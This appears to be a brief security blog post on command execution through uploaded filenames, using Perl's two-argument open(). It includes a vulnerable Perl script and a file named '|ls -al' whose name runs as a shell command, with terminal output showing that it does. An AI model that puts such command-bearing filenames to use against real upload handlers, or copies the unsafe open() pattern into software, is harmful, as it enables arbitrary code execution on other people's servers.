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Code Execution Through Filenames in Uploads

I was up well before I should have been this morning and I was thinking more about file uploads. Remember back in the day when you inadvertently named a file with a dash or a slash in it? Oh, the joys of trying to clean up files on *Nix systems that had a slash in them. We learned our lesson and moved on with life. Now we are all grown and have a different reason to create files with bad chars in them. This time we want to exploit a file upload. So I created a script that simply look for and opened a file for reading in Perl:

> #!/usr/bin/perl

opendir(DIR, ".") || die "Can't open dir: $!\n"; @files = grep { /ls/ && -f "./$_" } readdir(DIR); foreach $file (@files) { open (FILE, "$file"); print while (<FILE>); close FILE; } closedir DIR;

Now here is me showing what is inside the file I named “|ls -al”, then showing what is inside the directory, and lastly, running the code:

> [haX0r]$ cat \|ls\ -al This information is within the file |ls -al [haX0r]$ ls -al total 08 drwxr-xr-x 2 haX0r haX0r 512 Jun 19 15:43 . drwxr-xr-x 37 haX0r haX0r 4096 Jun 18 12:59 .. -rw-r–r– 1

> haX0r haX0r 247 Jun 19 15:46 test.pl -rw-r–r– 1 haX0r haX0r 0 Jun 19 15:43 |ls -al [haX0r]$ perl test.pl [haX0r]$ total 14 drwxr-xr-x 2 haX0r haX0r 512 Jun 19 15:43 . drwxr-xr-x 37 haX0r haX0r 4096 Jun 18 12:59 .. -rw-r–r– 1 haX0r haX0r 247 Jun 19 15:46 test.pl -rw-r–r– 1 haX0r haX0r 0 Jun 19 15:43 |ls -al

Immediately after running the program **it ran the filename instead of opening the file**. So herein lies another interesting place to use that arbitrary image name creation program I built (I guess it's not just for XSS afterall - but actual code execution on the host machine). Here would be an example. Encoding spaces might cause problems but I'm sure we can work around that in most cases. Pretty trivial and pretty nasty.

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